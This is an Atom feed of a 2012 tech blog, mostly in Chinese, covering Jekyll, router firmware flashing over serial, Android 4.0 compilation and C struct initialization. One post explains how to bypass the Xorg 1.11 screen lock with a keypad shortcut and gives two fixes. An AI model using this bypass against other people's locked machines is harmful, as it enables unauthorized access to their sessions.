<?xml version="1.0" encoding="UTF-8" ?><feed xmlns="http://www.w3.org/2005/Atom">
    <title>Cyker's Constellation</title>
    <link href="http://blog.cykerway.com" />
    <updated>2012-01-23T01:03:56Z</updated>
    <author>
        <name>Cyker Way</name>
    </author>
    <id>http://blog.cykerway.com/</id>
    <link href="http://blog.cykerway.com/atom" rel="self" type="application/rss+xml" />
    <entry>
        <title>Samsung&#039;s Smart Window</title>
        <link href="http://blog.cykerway.com/post/465" />
        <id>http://blog.cykerway.com/post/465</id>
        <updated>2012-01-23T01:03:56Z</updated>
        <content type="html"><![CDATA[<p>今年的CES展会上，三星秀了一块窗玻璃。从室内看是个显示屏，从室外看是个镜子。可以利用室外自然光当背光，以及利用太阳能供电。有电子百叶窗进行透光率的控制。</p>

<p>俺想如果里面再嵌一堆微型电机能换气就真碉堡了。</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.technologyreview.com/blog/helloworld/27515/">http://www.technologyreview.com/blog/helloworld/27515/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Xorg锁屏漏洞</title>
        <link href="http://blog.cykerway.com/post/464" />
        <id>http://blog.cykerway.com/post/464</id>
        <updated>2012-01-20T12:54:23Z</updated>
        <content type="html"><![CDATA[<p>在<a href="http://linuxtoy.org/archives/xorg-attack.html">Toy</a>上看到的这个漏洞估计是我见过的最搞的一个了。先用</p>

<pre class="brush:bash">
X -version
</pre>

<p>看一下X的版本号，如果是1.11，启动X的锁屏程序（screensaver/slock之类），然后按Ctrl+Alt+*（是小键盘的*不是8上面的）。然后锁屏就失效了……用Ctrl+Alt+/也有同样效果。</p>

<p>这个帖子是讲得比较好的：<a href="http://gu1.aeroxteam.fr/2012/01/19/bypass-screensaver-locker-program-xorg-111-and-up/">http://gu1.aeroxteam.fr/2012/01/19/bypass-screensaver-locker-program-xorg-111-and-up/</a>，看完了来龙去脉估计也清楚了。</p>

<p>解决方法有二：</p>

<ul>

    <li>
        <p>用xmodmap改键位映射，把XF86ClearGrab和XF86Ungrab都改成NoSymbol。相关帖子为：</p>

        <p><a href="http://forums.fedoraforum.org/showthread.php?t=275363">http://forums.fedoraforum.org/showthread.php?t=275363</a></p>

        <p>但是~/.Xmodmap好像不会被自动读取，还得在~/.xinitrc里加上相关命令：</p>

        <pre class="brush:bash">
        xmodmap ~/.Xmodmap
        </pre>

    </li>

    <li>
        <p>注释代码使上述功能失效。相关帖子为：</p>

        <p><a href="http://seclists.org/oss-sec/2012/q1/197">http://seclists.org/oss-sec/2012/q1/197</a></p>
    </li>

</ul>

<p>Toy上的帖子还是热乎的，不知道还会出现啥样奇葩的评论……</p>]]></content>
    </entry>
    <entry>
        <title>Jekyll</title>
        <link href="http://blog.cykerway.com/post/463" />
        <id>http://blog.cykerway.com/post/463</id>
        <updated>2012-01-20T04:18:07Z</updated>
        <content type="html"><![CDATA[<p>老早以前看到Octopress这个东西一直没时间折腾，刚巧刚才开了自己的GitHub Pages，顺便鼓捣了一下Jekyll（Octopress的核心部分）。</p>

<p>Jekyll是一个Ruby写的静态化站点生成器，特点是blog-aware，就是说适合拿来写博客。Jekyll支持多种markup languages，包括Markdown和Textile。就是说你用Markdown写文章，然后设计HTML模板（包括CSS、图片等等），最后运行Jekyll，自动帮你生成静态页面。生成的静态页面可以直接用常见的web服务器来serve（比如Apache和nginx等等）。</p>

<p>这东西有一个好处在于你可以用比较简单的语言<a href="http://daringfireball.net/projects/markdown/syntax">Markdown</a>来写作，而不是HTML，也不用关心HTML是怎么生成的，符合结构和渲染分离的原则（但是结构和渲染这东西总是相对的……）。而且还有一个好处是Jekyll和Git的关系非常紧密，你可以在Git repository里写作，正常commit/checkout，甚至可以上传到GitHub。GitHub Pages提供了对Jekyll的支持，上传之后会自动生成静态页面。关于GitHub Pages可以参考<a href="http://pages.github.com/">http://pages.github.com/</a></p>

<p>Jekyll的主页是<a href="https://github.com/mojombo/jekyll">https://github.com/mojombo/jekyll</a>，大体上看完README就知道咋回事了。稍微比较重要的也就是这个目录结构<a href="https://github.com/mojombo/jekyll/wiki/usage">https://github.com/mojombo/jekyll/wiki/usage</a>。具体说就是：</p>


<ul>

    <li>在_config.yml里做总体设置；</li>

    <li>在_layouts里设计模板，里面的{{ content }}部分将会被使用该模板的文本填充；</li>

    <li>在_posts里用Markdown写文章，注意文件名的命名格式；</li>

    <li>如果愿意，可以在_includes里设计模板的一部分，在其他文件中引用；</li>

    <li>剩下的根目录里的其他文件，如果有<a href="https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter">YAML Front Matter</a>这个东西，也会被Jekyll处理，否则就直接复制到目的地；</li>

    <li>最后生成的结果在_site目录下。</li>

</ul>

<p>其实说白了就是这么简单，你写个Markdown，Jekyll帮你搞成HTML。</p>

<p>貌似全程都没有数据库的参与，所以我还是觉得很神奇，如果有复杂的查询要求怎么办呢？看上去所有东西都要用Ruby程序搞定。当初写Blade的时候也在想是用纯文本还是数据库，后来为了查询简单就用了MySQL。如果纯文本在这方面也能做的很好的话那还真可以考虑抛弃数据库。不过我看_site下面生成的都是HTML，没有任何动态页面迹象或者索引之类的（好吧人家就是为了静态页面嘛……），那么在一堆完整的静态页面中做查询我觉得还是挺有挑战性的，相当于结构化的信息都被抹去了现在要反过来做，有点别扭。不过我看Octopress也有Search box呢，过会儿看看它是怎么做的吧。</p>

<p>Update. 朕惊了！跳到Google去了！</p>

<p>有时间的话还是想把Blade再升个级。其实现在这个版本也就算是个prototype，拖了很久没有重构了。写文章的方式还很蠢，很多HTML tags要手动加，没有辅助工具的用户估计很不爽。未来的计划大致包括：</p>

<ul>

    <li>支持Markdown；</li>

    <li>尝试以静态化+索引的方式替代动态页面；</li>

    <li>和Git整合。</li>
    
    <li>用DISQUS管理评论。</li>

</ul>

<p>具体说就是以Markdown作为书写语言，用Git进行版本控制（其实主要是为了方便查看过去特定时刻的状态，否则Git也不是太必要），支持静态化渲染和索引建立，方便进行关键字和日期等基本查找。评论的部分交给DISQUS估计能省去很多劳力（尤其是对一个静态化的站点来说）。最终的目标是，用户只需要写Markdown而不必管其他任何事情（当然如果他们愿意也可以自己写模板）。这工程不算太大但其实也不小，不过想想能把PHP+MySQL这一坨毛都移掉，用一种轻量化的方式来写blog，还是非常值得做的。万能的上帝请给俺发工资让俺搞定这件事儿吧！</p>]]></content>
    </entry>
    <entry>
        <title>Blackout against SOPA/PIPA</title>
        <link href="http://blog.cykerway.com/post/462" />
        <id>http://blog.cykerway.com/post/462</id>
        <updated>2012-01-19T01:01:21Z</updated>
        <content type="html"><![CDATA[<p><a href="/uploads/20120119/wikipedia.png"><img src="/uploads/20120119/wikipedia-tn.png" alt="wikipedia.png" /></a></p>

<p><a href="/uploads/20120119/mozilla.png"><img src="/uploads/20120119/mozilla-tn.png" alt="mozilla.png" /></a></p>

<p><a href="/uploads/20120119/reddit.png"><img src="/uploads/20120119/reddit-tn.png" alt="reddit.png" /></a></p>

<p>There are always people doing the right thing in the face of wrong decisions...And that&apos;s the difference.</p>]]></content>
    </entry>
    <entry>
        <title>Search, plus Your World</title>
        <link href="http://blog.cykerway.com/post/461" />
        <id>http://blog.cykerway.com/post/461</id>
        <updated>2012-01-15T04:39:04Z</updated>
        <content type="html"><![CDATA[<p>In mid-2009, I had a wonderful idea of integrating people&apos;s evaluations into search engines. That was based on my own search habits. Most of my search queries are about science and technology. The quality of these kinds of materials tends to be stable, which means a good article will always be good regardless of the time of search. That&apos;s how we define classic articles. Queries about science and technology are usually topic-centric. When we want to know about a topic, the best answer is often the classic articles.</p>

<p>But to figure out classic articles requires expert knowledge. An expert&apos;s evaluation about his/her speciality is much more helpful than a layman&apos;s. Thus your search experience will be greatly improved with the help of experts&apos; opinion. However, the problem is that you have no way to see their evaluations. You may not know them personally. Even if you happen to read their evaluations somewhere on the Internet, it&apos;s very likely that these opinions are in the form of non-structural articles, which means they&apos;re hard to be integrated into search engines and it&apos;s still difficult to <i>automate</i> the utilization of these evaluations.</p>

<p>So it will be of great help if experts leave their opinions in a <i>structural</i> way. How can this be done? It&apos;s simple. They just need to mark a webpage as good or bad in the process of reading. Now you see why Google+ emerges? I&apos;ve never believed Google+ is simply meant to be a social network from the day of its birth. I strongly believe the main reason of the emergence of Google+ is to improve the quality of Google Web Search.</p>

<p>In my original design, a social network benefits a search engine in a free manner. What do I mean by <i>free</i>? Consider what will happen if some expert doesn&apos;t what to share his/her opinion. Does that matter? Usually not, because there will be other experts in the same field who are willing to share and you just need to follow them instead. Another problem is that the opinion of an expert in area A may not be very helpful to a query in area B (they even act as noise). But you can put experts in different groups and set which group to take effect, possibly in different weights, for different queries.</p>

<p>The main advantage of this design is, <i>you</i> have the choice of who affects you. People who post helpful opinions will be followed by more users and become welcome and gain fame. People who post useless opinions, and thus play the role of unwelcome noise, will be discarded by users and only cause limited harm. Therefore the speakers have motivation to make good evaluations. This is the power of natural selection.</p>

<p>At the same time of listeners selecting speakers, speakers also select listeners. Listeners who do bad intentionally by following unwelcome speakers to increase their popularity will be punished, because they&apos;d have much noise in their personal search. This discourages them from doing so.</p>

<p>Therefore, both speakers and listeners have good motivation guiding their behaviors. Thanks to this loose-coupling design, the whole ecosystem will evolve rather than degenerate.</p>

<p>And what&apos;s even more important, the improvement of search quality will attract people to join the social network! This is the power of a service-wide win-win strategy. If there is mutual promotion between two services, users of one service will be encouraged to use the other, and vice versa.</p>

<p>Maybe that&apos;s why Google introduces <a href="http://www.google.com/insidesearch/plus.html"><i>Search, plus Your World</i></a>. Basically it adds three kinds of information in the search results: personal results, profiles in search, and people and pages.</p>

<p>However, this design doesn&apos;t follow my original idea faithfully. For example, you cannot filter evaluations from followees by the groups they are in. And there is too much noise in the personal search results. When I want to find the explanation of a scientific term, the personal results usually contain my followees&apos; own experience with it rather than well-accepted high-quality resources related to it. So I think it pays more attentation to personalization rather than personal recommendation. It&apos;s more like a brochure of my followees&apos; posts rather than a high-end recommendation system. Of course there are notices like &apos;XXX shared this&apos; below some search results, but you know their existence only when you see them passively.</p>

<p>My prediction for the way we search is that it will advance through three stages:</p>

<ul>

    <li>
        <p>Stage 1. A few people will mark webpages as good or not. But their opinions cover only a small part of everyday search, which has limited benefits.</p>

        <p>In this stage, the usual (non-personalized) search will play the main role.</p>
    </li>

    <li>
        <p>Stage 2. A majority of people begin to realize the benefits of personalized search. Due to the advantages of the above design, natural selection will begin to take affect for both speakers and listeners. In the end, mature and stable speaker communities will be formed in various fields.</p>

        <p>In this stage, both non-personalized and personalized search will play the main role.</p>
    </li>

    <li>
        <p>Stage 3. Marked webpages will be more and more important. Almost all search results will fall into two categories: marked and real-time. Real-time results will gradually become marked. But it may be a big challenge to maintain the relationship between speakers and listeners.</p>

        <p>In this stage, personalized search will play the main role, except for real-time results.</p>
    </li>

</ul>

<p>Let&apos;s see whether this will happen in the next few years.</p>]]></content>
    </entry>
    <entry>
        <title>CV Dazzle</title>
        <link href="http://blog.cykerway.com/post/460" />
        <id>http://blog.cykerway.com/post/460</id>
        <updated>2012-01-09T04:03:48Z</updated>
        <content type="html"><![CDATA[<p><iframe src="http://player.vimeo.com/video/12308527?title=0&amp;byline=0&amp;portrait=0" width="632" height="458" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe></p>

<p>神奇的人类！</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.cvdazzle.com/">http://www.cvdazzle.com/</a></li>
    <li><a href="http://www.cvchina.info/2012/01/08/cv-dazzle/">http://www.cvchina.info/2012/01/08/cv-dazzle/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>TP-LINK MR11U修砖记</title>
        <link href="http://blog.cykerway.com/post/459" />
        <id>http://blog.cykerway.com/post/459</id>
        <updated>2012-01-08T18:54:43Z</updated>
        <content type="html"><![CDATA[<p>本来已经ssh进去了，结果手贱改了网络配置，出来之后就再也进不去了。能ping，能连无线，但nmap扫描没有一个端口是开放的。</p>

<p>幸而很快搞到一条串口线，弄来multimeter确定了4个PIN都是什么。结果如下图：</p>

<p><a href="/uploads/20120108/mr11u.png"><img src="/uploads/20120108/mr11u-tn.png" alt="mr11u.png" /></a></p>

<p>登陆进去之后发现是iptables在捣鬼。OpenWrt里面预设的配置是按照接口来的，只改了接口没有改相应的chain，当然会出事了。没有刷成砖，却直接改成砖了，真是蛋疼。</p>

<p>然后就刷个新rom上去好了。MR11U可以直接用WR703N的rom，只是需要改一下固件头。方法是：</p>

<ol>

    <li>下载想要刷进去的WR703N的rom；</li>

    <li>用hexedit打开，找到[0x40, 0x43]这个区间，改成（00, 11, 01, 01）。再找到[0x44, 0x47]，改成（00, 00, 00, 01）。猜测前一个是产品型号，后一个是版本号。保存；</li>

    <li>下载<a href="http://download.lark.net.cn/wr941n/hack/fixsum-0.2.tar.gz">fixsum</a>。这个工具是lark最初为WR941N写的，所以需要做些修改。把常量FW_FILENAME改成&quot;mr11u.bin&quot;，check_version部分的常量改成0x00110101，check_sig部分的常量改成0x1。然后在Makefile里关闭交叉编译。如果懒得改，可以用我改好的<a href="/uploads/20120108/fixsum.tar.gz">这个</a>（只适用于MR11U）。</li>

    <li>编译，生成可执行程序fixsum。将刚才保存的固件重命名为mr11u.bin，放在和fixsum相同的目录下。运行fixsum。</li>

</ol>

<p>fixsum会直接修改固件，所以没有生成新文件。这时候这个mr11u.bin就可以直接在官方rom里网刷了。</p>

<p>如果不需要网刷，估计直接把WR703N的固件扔进去也没问题，但我没试过。至于fixsum的原理么，lark的代码里面已经写的很清楚了，就是先用key填固件的[0x4c, 0x5c)这个区域，然后算个MD5再填回去。</p>

<p>想直接刷的可以下载我修改好的<a href="/uploads/20120108/mr11u.bin">rom</a>。没有LuCI，但是有1.3M的剩余空间，自己爱装什么装什么吧。</p>]]></content>
    </entry>
    <entry>
        <title>Android 4.0 compilation in Arch Linux</title>
        <link href="http://blog.cykerway.com/post/458" />
        <id>http://blog.cykerway.com/post/458</id>
        <updated>2012-01-05T04:04:46Z</updated>
        <content type="html"><![CDATA[<p>编译了个能在emulator里跑的ICS，写个总结。</p>

<p>总的过程就是按照官方的教程来的，从这个开始：<a href="http://source.android.com/source/initializing.html">http://source.android.com/source/initializing.html</a></p>

<p>先安装软件：</p>
<pre class="brush:bash">
yaourt -S repo-git jdk6 ccache perl-switch downgrade
downgrade make
</pre>

<p>然后找一个3.81版本的make装上，因为据说3.82版的有bug。嗯，如果downgrade没有帮你找到，那你就自己找吧，找个旧mirror或者自己编译什么的。或者你也可以用3.82版试试，因为官方报告的bug是Mac版本的make。如果Linux上的3.82版make没有问题请留个评论。</p>

<p>以上列出的软件包只是需要的一部分，视机器的情况请对照官方软件列表。</p>

<p>其中ccache不是必须的，但如果需要多次编译它可以帮助节省大量时间。如果只编译一次，可以不装。如果安装了ccache，在.bashrc中做如下设置：</p>

<pre class="brush:bash">
export USE_CCACHE=1
export CCACHE_DIR=&lt;path-to-your-cache-directory&gt;
ccache -M 50G
</pre>

<p>还要做一件事情，把/usr/lib/python指向python2而不是默认的python3。虽然repo-git帮你把repo脚本里的python改成了python2，但编译到中间还是会错。用ln改就行了，我不写了。</p>

<p>JDK方面的问题，有Sun/Oracle JDK6和OpenJDK6两种选择（分别对应jdk6和openjdk6软件包）。编译时会对Java版本做检查，只有Sun/Oracle版本的可以通过。我是用Sun/Oracle版本进行编译的。如果非要用OpenJDK版本，需要修改build/core/main.mk以跳过Java版本检查。具体可以看这个帖子：</p>

<p><a href="http://groups.google.com/group/android-building/browse_thread/thread/db94ca65bfc651a9">http://groups.google.com/group/android-building/browse_thread/thread/db94ca65bfc651a9</a></p>

<p>嗯，可是我们还没有源代码呢。先按照官方教程把源代码搞下来吧。具体步骤是：</p>

<ul>
    <li>下载repo文件（这步省了，用repo-git里的就行）</li>
    <li>建立工作目录</li>
    <li>repo init -u https://android.googlesource.com/platform/manifest</li>
    <li>repo sync</li>
</ul>

<p>然后就等吧。全部代码大概是6.2G，自行估算时间出去吃饭即可。哦如果不幸repo sync的时候卡死了或者没反应了kill掉重来即可，或者也可以手动删除有问题的git repository然后重来（repo不就是一堆git么……）。</p>

<p>比较好的情况是吃完回来发现下载完了。这时还有一处源代码要修改，在development/tools/emulator/opengl/host/renderer/Android.mk文件中需要在LOCAL_CFLAGS += -O0 -g下面加上一行LOCAL_LDLIBS += -lX11，否则编译时出错。具体参见这个帖子：</p>

<p><a href="http://groups.google.com/group/android-building/browse_thread/thread/833b0386f996f7de">http://groups.google.com/group/android-building/browse_thread/thread/833b0386f996f7de</a></p>

<p>然后终于可以开始build了：</p>

<pre class="brush:bash">
. build/envsetup.sh
lunch full-eng
make -j2
</pre>

<p>刚开始编译时会有这个错误：</p>

<pre class="brush:bash">
/bin/bash: line 0: cd: cts/tools/cts-native-xml-generator/src/res: No such file or directory
</pre>

<p>但这个无害，见：</p>

<p><a href="http://groups.google.com/group/android-building/browse_thread/thread/35d7bcfa6a47b1b3">http://groups.google.com/group/android-building/browse_thread/thread/35d7bcfa6a47b1b3</a></p>

<p>一般双核的机器-j2或者-j4就行。方才下载源代码是I/O-bound，你出去吃饭了，这次是CPU-bound，你可以去洗个澡。如果是用笔记本编译的话可以在盖子和键盘中间夹两袋牛奶，洗完澡就可以回来喝热乎的了。</p>

<p>编译期间系统负载很大，双核CPU几乎完全100%占用（所以才能热牛奶）。不过CPU好说，renice一下就不影响其他进程工作了。而内存消耗就比较囧，到最后2G内存全部占满，而且swap也用了500多M，机器卡的不像样子。好在还是能搞定的。不过要编译ICS，最好还是有4G左右的内存吧。</p>

<p>编译之后生成的目标文件和应用程序大概是12G，ccache占用了3.5G。所以编译前至少要留30G的硬盘空间吧（别忘了源代码还有6.2G）。</p>

<p>最后运行emulator：</p>

<pre class="brush:bash">
#!/bin/bash

export ANDROID_PRODUCT_OUT=~/android/out/target/product/generic
export PATH=~/android/out/host/linux-x86/bin:$PATH
emulator
</pre>

<p>上图两张：</p>

<p><a href="/uploads/20120105/ics-1.png"><img src="/uploads/20120105/ics-1-tn.png" alt="ics-1-tn.png" /></a></p>

<p><a href="/uploads/20120105/ics-2.png"><img src="/uploads/20120105/ics-2-tn.png" alt="ics-2-tn.png" /></a></p>]]></content>
    </entry>
    <entry>
        <title>Privacy Monitor Hack</title>
        <link href="http://blog.cykerway.com/post/457" />
        <id>http://blog.cykerway.com/post/457</id>
        <updated>2012-01-03T14:24:13Z</updated>
        <content type="html"><![CDATA[<p><iframe width="632" height="351" src="http://www.youtube.com/embed/MgN4r1YufcI" frameborder="0" allowfullscreen></iframe></p>

<p>看这个原理图就很好理解了。扭曲液晶上下都是偏光板，但透射方向互相垂直。不加电时背光穿过后方偏光板成为偏振光，再穿过扭曲液晶偏振方向转90度，恰好可以通过前方偏光板。液晶加电时顺着电场方向平行排列，不改变后方偏振光的偏振方向，于是被前方偏光板挡住了。</p>

<p><a href="http://upload.wikimedia.org/wikipedia/commons/4/41/LCD_structure.JPG"><img src="http://upload.wikimedia.org/wikipedia/commons/4/41/LCD_structure.JPG" alt="LCD_structure.JPG" /></a></p>

<p>背光始终都是亮的。液晶不加电时是透射，也就是白色。显示黑色需要给液晶加电，反而费电。当然和背光的电量比起来还是很小的，所以液晶显示什么颜色耗电都差不多，除非调节背光亮度。</p>

<p>哦，回到正题上来。这家伙就是把前方偏光板撕下来贴眼镜上了。</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.instructables.com/id/Privacy-monitor-made-from-an-old-LCD-Monitor/?ALLSTEPS">http://www.instructables.com/id/Privacy-monitor-made-from-an-old-LCD-Monitor/?ALLSTEPS</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Defining security notions...</title>
        <link href="http://blog.cykerway.com/post/456" />
        <id>http://blog.cykerway.com/post/456</id>
        <updated>2012-01-02T22:12:38Z</updated>
        <content type="html"><![CDATA[<p>From <a href="http://www.jscoron.fr/publications/rperm.pdf"><i>The Random Oracle Model and the Ideal Cipher Model are Equivalent</i></a>:</p>

<blockquote>
    <p>Modern cryptography is about defining security notions and then constructing schemes that provably achieve these notions.</p>
</blockquote>

<p>最近才意识到第一个任务也是很重要的，indistinguishability/semantic security/CPA/CCA/KDM什么的才不是生来就那个样子呢。</p>]]></content>
    </entry>
    <entry>
        <title>OpenWrt on TP-LINK MR3420</title>
        <link href="http://blog.cykerway.com/post/455" />
        <id>http://blog.cykerway.com/post/455</id>
        <updated>2011-12-31T23:59:50Z</updated>
        <content type="html"><![CDATA[<p>MR11U的固件还没出，拿MR3420练了个手。</p>

<p>Update. 出了：</p>

<ul>
    <li>OpenWrt固件：<a href="http://ishare.iask.sina.com.cn/f/22538055.html.this">http://ishare.iask.sina.com.cn/f/22538055.html.this</a></li>
    <li>官方固件：<a href="http://www.tp-link.cn/pages/download-detail.asp?d=680">http://www.tp-link.cn/pages/download-detail.asp?d=680</a></li>
</ul>

<p>网刷比较无聊，把固件传上去就行了。有的官方ROM会检查固件头，不同版本改法不一样。</p>

<p>JTAG因为没有器材也没搞，感觉不刷bootloader的话也用不到吧。</p>

<p>所以就只是用串口试了一下。因为现在的机器大多没串口了就用USB转串口。比较常用的转换器是Prolific的PL2303，Linux应该已经有它的驱动了。用lsmod usbserial确认一下就行了。</p>

<p>然后配置一下minicom。Serial port setup里面的Serial Device设置成/dev/ttyUSB0，Bps/Par/Bits设置成115200 8N1，Hardware Flow Control关闭。配置完了选Save setup as dfl保存。最后Exit from Minicom退出。</p>

<p>关闭路由器。保持线缆连接，启动minicom，给路由器重新上电，这时候就能在minicom里看到路由器启动的消息了：</p>

<pre class="brush:bash">
U-Boot 1.1.4 (May 12 2010 - 12:48:25)

AP99 (ar7241 - Virian) U-boot
DRAM:  
sri
ar7240_ddr_initial_config(133): virian ddr1 init
#### TAP VALUE 1 = 0xf, 2 = 0x10 [0x0: 0x1f]
32 MB
id read 0x100000ff
sector count = 64
Flash:  4 MB
Using default environment

In:    serial
Out:   serial
Err:   serial
Net:   ag7240_enet_initialize...
No valid address in Flash. Using fixed address
No valid address in Flash. Using fixed address
Virian MDC CFG Value ==&gt; 4
: cfg1 0xf cfg2 0x7014
eth0: 00:03:7f:09:0b:ad
eth0 up
Virian MDC CFG Value ==&gt; 4
: cfg1 0xf cfg2 0x7214
eth1: 00:03:7f:09:0b:ad
ATHRS26: resetting s26
ATHRS26: s26 reset done
eth1 up
eth0, eth1
Autobooting in 1 seconds
</pre>

<p>看到那个Autobooting in 1 seconds的时候快速敲下tpl三个键，阻止bootloader加载内核并显示prompt。不知道命令就打help。有个printenv可以试一下，能看到bootloader的一些设置，例如本机和服务器IP，以及从哪个地址启动内核之类：</p>

<pre class="brush:bash">
ar7240&gt; printenv
bootargs=console=ttyS0,115200 root=31:02 rootfstype=jffs2 init=/sbin/init mtdparts=ar7240-nor0:256k(u-boot),64k(u-boot-env),2752k(rootfs),896k(uImage),64k(NVRAM),64k(ART) REVISIONID
bootcmd=bootm 0x9f020000
bootdelay=1
baudrate=115200
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee
ipaddr=192.168.1.10
serverip=192.168.1.27
stdin=serial
stdout=serial
stderr=serial
ethact=eth0

Environment size: 368/65532 bytes
</pre>

<p>知道怎么回事了就先退出来，把该下载的东西下载了。比如ROM映像：<a href="http://downloads.openwrt.org/snapshots/trunk/ar71xx/openwrt-ar71xx-generic-tl-mr3420-v1-squashfs-factory.bin">http://downloads.openwrt.org/snapshots/trunk/ar71xx/openwrt-ar71xx-generic-tl-mr3420-v1-squashfs-factory.bin</a>。</p>

<p>然后在PC机上安装tftpd。Arch上可用yaourt -S tftp-hpa搞定。/etc/rc.d/tftpd start即可启动，默认根目录为/var/tftpboot，当然可以在配置文件/etc/conf.d/tftpd里面改。</p>

<p>把上面那个文件下来改名成code.bin（这样以后少敲很多字母），放在/var/tftpboot目录下面。将和路由器相连的网卡的地址设为192.168.1.27（在printenv时看到过的），然后启动tftpd。用tftp 192.168.1.27和get code.bin测试一下，保证能下载。</p>

<p>然后给路由器上电，还是关键点那个地方敲tpl进入bootloader的prompt。然后输入下面的命令（前面那个是prompt，你懂的）：</p>
<pre class="brush:bash">
ar7240&gt; erase 0x9f020000 +0x3c0000
ar7240&gt; tftpboot 0x81000000 code.bin
ar7240&gt; cp.b 0x81000000 0x9f020000 0x3c0000 
ar7240&gt; bootm 0x9f020000 
</pre>

<p>这一坨干的事情就是说把flash上以0x9f020000为起点，长度为0x3c0000的区块擦除。然后用TFTP把code.bin（长度正好为0x3c0000）加载到RAM，再把RAM的数据写到flash，最后从flash的指定位置启动。</p>

<p>然后就进到OpenWrt里面去了，剩下的爱怎么折腾怎么折腾。</p>

<p>最后是用串口烧ROM时候的完整log：</p>

<pre class="brush:bash">
ar7240&gt; erase 0x9f020000 +0x3c0000

First 0x2 last 0x3d sector size 0x10000
  61
Erased 60 sectors
ar7240&gt; tftpboot 0x81000000 code.bin
dup 1 speed 1000
Using eth1 device
TFTP from server 192.168.1.27; our IP address is 192.168.1.10
Filename &apos;code.bin&apos;.
Load address: 0x81000000
Loading: #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         ######################################################
done
Bytes transferred = 3932160 (3c0000 hex)
ar7240&gt; cp.b 0x81000000 0x9f020000 0x3c0000
Copy to Flash... write addr: 9f020000
done
ar7240&gt; bootm 0x9f020000
</pre>

<p>哦，还要上图两张：</p>

<p><a href="/uploads/20111231/mr3420-outer.png"><img src="/uploads/20111231/mr3420-outer-tn.png" alt="mr3420-outer-tn.png" /></a></p>

<p><a href="/uploads/20111231/mr3420-inner.png"><img src="/uploads/20111231/mr3420-inner-tn.png" alt="mr3420-inner-tn.png" /></a></p>

<p>Links:</p>

<ul>
    <li><a href="http://wiki.openwrt.org/toh/tp-link/tl-mr3420">http://wiki.openwrt.org/toh/tp-link/tl-mr3420</a></li>
    <li><a href="http://eko.one.pl/?p=openwrt-mr3420">http://eko.one.pl/?p=openwrt-mr3420</a></li>
    <li><a href="http://translate.google.com/translate?sl=auto&tl=en&js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&u=http%3A%2F%2Feko.one.pl%2F%3Fp%3Dopenwrt-mr3420">http://translate.google.com/translate?sl=auto&amp;tl=en&amp;js=n&amp;prev=_t&amp;hl=en&amp;ie=UTF-8&amp;layout=2&amp;eotf=1&amp;u=http%3A%2F%2Feko.one.pl%2F%3Fp%3Dopenwrt-mr3420</a>（上面的Google Translate）</li>
    <li><a href="http://wiki.openwrt.org/doc/techref/flash.layout">http://wiki.openwrt.org/doc/techref/flash.layout</a></li>
    <li><a href="http://wiki.openwrt.org/doc/techref/opkg">http://wiki.openwrt.org/doc/techref/opkg</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>拉房顶</title>
        <link href="http://blog.cykerway.com/post/454" />
        <id>http://blog.cykerway.com/post/454</id>
        <updated>2011-12-27T16:02:07Z</updated>
        <content type="html"><![CDATA[<p>咳，那个，一年拉几百万美刀的老板让人情何以堪啊……</p>

<p>穷孩子乖乖干活去了……</p>

<p>Links:</p>

<ul>
    <li><a href="http://search.engrant.com/Results.aspx">http://search.engrant.com/Results.aspx</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>C struct initialization and assignment</title>
        <link href="http://blog.cykerway.com/post/453" />
        <id>http://blog.cykerway.com/post/453</id>
        <updated>2011-12-19T16:28:09Z</updated>
        <content type="html"><![CDATA[<p>C里面的结构体的初始化和赋值还是挺好玩的。比如说有个结构体comp如下：</p>

<pre class="brush:c">
struct comp {
    int x;
    int y;
};

</pre>


<p>那么初始化comp类型变量的一般方法就是：</p>

<pre class="brush:c">
struct comp z1 = {2, 3};
</pre>


<p>如果不想按照struct comp对其成员定义的顺序(C89-style initializer)来初始化，可以用另一种形式(designated initializer)：</p>

<pre class="brush:c">
struct comp z1 = {
    .y = 3, 
    .x = 2, 
};
</pre>

<p>效果是一样的。</p>

<p>如果在初始化时有些成员的值没有指定，默认为0。例如如下定义一个全0的结构体：</p>

<pre class="brush:c">
struct comp z1 = {};
</pre>

<p>所有这些初始化的方法在赋值时都没用了。如果z1是一个已经定义了的结构体，现在想让z1具有值{6, 7}，只能：</p>

<pre class="brush:c">
z1.x = 6;
z1.y = 7;
</pre>

<p>或者：</p>

<pre class="brush:c">
struct comp z2 = {6, 7};
z1 = z2;
</pre>

<p>然后从第二种方法里可以得到一些启发，能不能直接一步做完？于是就有了C99中出现的一个方法：compound literal。还是以给z1赋值为例，使用方法如下：</p>

<pre class="brush:c">
z1 = (struct comp) {6, 7};
</pre>

<p>这就干净多了。其实也就相当于：</p>

<pre class="brush:c">
struct comp temp = {6, 7};
z1 = temp;
</pre>

<p>也不一定非得用常量，变量也行：</p>

<pre class="brush:c">
int i = 6, j = 7;
z1 = (struct comp) {i, j};
</pre>

<p>或者更花哨一点：</p>

<pre class="brush:c">
z2 = (struct comp) {
    .y = i, 
    .x = j, 
};
</pre>

<p>总的来说就是允许用初始化的语法来对结构体赋值了。</p>

<p>比较神奇的是compound literal是个左值，也就是说可以这样写：</p>

<pre class="brush:c">
struct comp z1 = {2, 3};
(struct comp) {6, 7} = z1;
</pre>

<p>虽然看上去不知道有啥用……</p>

<p>Note. 在传参时可能有点用。比如一个函数会修改形参，那传一个compound literal进去可以省却定义一个临时变量。</p>

<p>但不管咋说compound literal在结构体赋值时还是很有用的。</p>

<p>Links:</p>

<ul>
    <li><a href="http://gcc.gnu.org/onlinedocs/gcc-3.2/gcc/Compound-Literals.html">http://gcc.gnu.org/onlinedocs/gcc-3.2/gcc/Compound-Literals.html</a></li>
